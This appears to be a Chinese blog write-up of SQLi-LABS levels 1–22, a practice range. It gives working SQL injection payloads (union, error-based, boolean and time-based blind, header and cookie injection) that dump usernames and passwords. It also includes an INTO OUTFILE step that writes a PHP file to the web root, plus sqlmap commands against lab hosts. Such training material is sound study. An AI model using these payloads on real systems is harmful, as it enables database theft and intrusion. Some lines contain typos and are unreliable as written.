打靶日记-SQLi-LABS(一)
前言
这个靶场七十多关,太多了!!本地部署靶场还需要配置数据库,最近发现一个网站就有现成的好靶场平台-安全靶场-网络安全靶场,可以直接使用。
Level1
首先先尝试?id=1,id=2都有正常回显,当我们输入?id=1'就会报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
在''1'' LIMIT 0,1'出现了语法错误
在sql语法规则中,单引号用来包裹字符串,且必须成对出现,多余的单引号出现破坏了规则,就可以判断出这一题为字符型注入。
使用注释符?id=1'--+把后面的引号注释掉仍正常回显.
然后就可以判断表中有几列,使用order by判断列数,
经过判断有3列
然后就使用 union select 联合查询判断回显位,
?id=1' union select 1,2,3 --+
然后就依次爆数据库名,表名,列名
?id=-1' union select 1,2,datase() --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
?id=-1' union select 1,2, group_concat(id,username,password) from users--+
Level2
依旧先输入?id=1a发现报错说明是数字型,那就不需要闭合了,直接按照上面的流程就行了。
?id=0 union select 1,2,3
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
?id=0 union select 1,2. group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
?id=0 union select 1,2, group_concat(id,username,password) from users
Level3
依旧是输入?id=1a,没有报错是字符型的,然后?id=1a'看报错
我们输入都是1a'后面是')这一题就是')闭合。
跟第一题payload差不多。
?id=0') union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0') union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
id=0') union select 1,2, group_concat(id, username,password) from users--+
Level4
还是?id=1a不报错,?id=1a'还不报错,那就输入?id=1a"报错了
还是看我们输入的后面那一部分是")那就是")闭合。还是相似的payload
?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0") union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'--+
?id=0") union select 1,2,group_concat(id,username,password) from users--+
Level5
这一关是报错注入,详细的知识点可以看蚁景网安的老师讲的很详细
https://www.bilibili.com/video/BV1uTg6zTEMR?p=13&vd_source=5869edd9493e4b5bb2169aab5073c708
具体的知识点就不再说了,视频里都有。
还是先判断字符型还是数字型?id=1a,没有报错也没有回显。?id=1a'有报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1a'' LIMIT 0,1' at line 1
在我们输入的1a'后面是单引号,那就是单引号闭合。
爆数据库
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)--+
然后就可以查找数据了
?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)--+
这里显示数据并不完整,要是用substr截取(真麻烦啊!!!)
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),32,32)),1)--+
依次截取就行了。
Level6
老套路啊经过测试是双引号闭合
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)--+
Level7
当输入?id=1显示
这里参考大佬文章
show variables like '%secure%';
使用上面这个命令可以查看 secure-file-priv 当前的值,如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置
2、into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt‘;
这里想要成功实现需要同时满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
然后把 secure-file-priv的值改为空,重启mysql,再访问文件即可
Level8
这一关是盲注,相关知识点还是看蚁景网安的老师讲的,
首先先测试?id=1a,回显You are in 输入Id=1a',没有回显,
?id=1' and length(database())=8--+
数据库名长度为8
根据库名长度爆库名
?id=1' and substr(database(),1,1)='a'--+
经过判断
?id=1' and substr(database(),1,1)='s'--+
也可以使用bp爆破判断
经过判断数据库名为security
判断表的数量
使用count函数
经过判断表的数量为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
判断表名的长度
使用length()函数
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
这是判断第一张表名的长度,
若要判断第二张表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6--+
第四张表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5--+
判断表名
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3 ,1),1,1)='u'--+
判断得到第一个字符为u,接下来判断第二个字符
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3 ,1),2,1)='s'--+
判断得到表名为users
判断列的数量
跟上面的差不多
?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3--+
判断列名长度及名称
长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1))=2--+
名称
?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i'--+
?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),2,1)='d'--+
第一列为id.
后面重复就行了,比较麻烦。使用脚本或者sqlmap比较方便
使用sqlmap如图
sqlmap -u 'http://ka69ktk.haobachang.loveli.com.cn:8888/Less-8/?id=1' -techique B --batch -D security -T users -dump

Level9
这一关是盲注,跟布尔盲注差不多,时间盲注主要是用if()三元运算符和sleep函数来进行判断
首先输入?id=1a,再输入?id=1a' 都是回显You are in,
?id=1a' and sleep(3)--+
判断后为单引号闭合,,
与布尔盲注相似
判断数据库长度
?id=1' and if(length(database())=8,sleep(3),1)--+
判断数据库名称
?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
判断表的数量
?id=1' and if(((select count(table_name) from information_schema.tables where table_schema=database())=4),sleep(3),1)--+
判断表名,长度
?id=1' and if((length(select table_name from information_schema.tables where table_schema=database() limit 3,1)=4),sleep(3),1)--+
?id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u'),sleep(3),1) --+
后面就不再多说了。
使用sqlmap
sqlmap -u 'http://13x78zj.haobachang.loveli.com.cn:8888/Less-9/?id=1' -technique T -D security -T users --dump --batch
Level10
跟上一题差不多,这一题是双引号闭合,使用sqlmap或者脚本更加快捷
sqlmap -u 'http://13x78zj.haobachang.loveli.com.cn:8888/Less-10/?id=1" ' -technique T -D security -T users --dump --batch
Level11
到第11关就是post传参这里使用抓包工具来写,随便输入然后抓包开始判断
username=1a'时报错然后判断为单引号闭合,
经过判断表中有两列,接下来就常规常规操作了,password随便写
uname=a' union select 1,database() --+.这里传参是uname,而不是usernam。所以用抓包写比较好
uname=a' union select 1 ,group_concat(table_name) from information_schema.tables where table_shema=database()--+
uname=a' union select 1,group_concat(column_name) from information_schema.column where table_schema=database() and table_name='users'--+
uname=a' union select 1,group_concat(id,username,password) from users --+
Level12
经过判断这一关是")闭合
跟上一关payload差不多啊
uname=1a") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
uname=1a") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
uname=1a") union select 1,group_concat(id,username,password) from users--+
Level13
经过判断是')闭合
当查询是并没有回显
尝试报错注入
uname=1') and updatexml(1,concat(0x7e,database(),0x7e),1)--+
接下来依次爆破获取就行了
uname=1') and updatexml(1,concat(0x7e,(selct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
uname=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
uname=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)--+
uname=1') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
Level14
经过判断是双引号闭合,payload跟上一关差不多
uname=1"and updatexml(1,concat(0x7e,(selct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
uname=1"and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
uname=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)--+
uname=1" and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
Level15
这一关尝试后发现没有回显,报错注入也没有回显,但是使admin就可以成功登入,
根据这就可以使用盲注
uname=admin' and sleep(3)--+
uname=admin' and if(length(database())=8,sleep(3),1)--+
uname=admin' and if(substr(database(),1,1)='s' ,sleep(3),1)--+
后面就不再多说
Level16
经过判断是")闭合,步骤同上
Level17
在username当输入admin'是回显
判断这一关应该是进行了过滤,在password输入admin' 就有报错回显,因此这一关的注入点应该在password,是单引号闭合。
1' and updatexml(1,concat(0x7e, database(),0x7e),1)#
这里注释符用#不用--+否则不会回显
接下来就常规操作了
1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(id) from users),0x7e),1)#这时候回显
具体原因我也说不清楚,大概是输入语句后同时对users这张表进行了查询和更新的操作引起报错,使用子查询隔离原表
1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users) as temp),0x7e),1)#
Level18
当我们成功登入后回显
然后抓包
在uesr-anget后加一个单引号报错
重点是 127.0.0.1', 'admin')
开始猜测有三列 Ip,username 还是有user-agrnt
查询语句中 ('ip','user-agent','username')
那就可以注入了
在user-agent 头末尾加')#报错
假设后台查询语句为
INSERT INTO logs (ip, user_agent, username)
VALUES ('[IP]', '[User Agent]', '[Username]')
注入后会注释掉后面的username,导致前后数量不一样而报错,那么就需要构造
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0' ,'a')#
多一列还是报错,证明user-agent在最左边,注释是把后面的两个都注释了,构造两列
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0' ,'a','b')#
尝试后发现用报错注入
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0' and updatexml(1,concat(0x7e,database(),0x7e),1),'a','b')#
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),'a','b')#
这时候又会报错
这个类型转换错误,修改一下
User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),'a','b')#
这时候就得到我们想要的内容。
User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1),'a','b')#
User-Agent: 1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1),'a','b')#
Level19
成功登入后,提醒是Referer,根据上一题的思路,判断查询有两列,
payload大致同上,不在多说
level20
这一关是还是先登入进去,再抓包
在cookie处明显的注入点,单引号闭合
判断列数为3
Cookie: uname=admin' order by 4#
判断回显位
Cookie: uname=0' union select 1,2,3#
爆表
Cookie: uname=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列名
Cookie: uname=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
爆字段
Cookie: uname=0' union select 1,2,group_concat(username) from users#
Level21
步骤同上,不过这次的值是base64编码后的,
经过判断这一关是')闭合。payload跟上一关就差不多了。
Level22
经过判断是双引号闭合
剩下的不再多说😎
最后附上大佬wp,部分题目还能用sqlmap写,非常值得学习全网最全sqli-labs通关攻略(建议收藏)-腾讯云开发者社区-腾讯云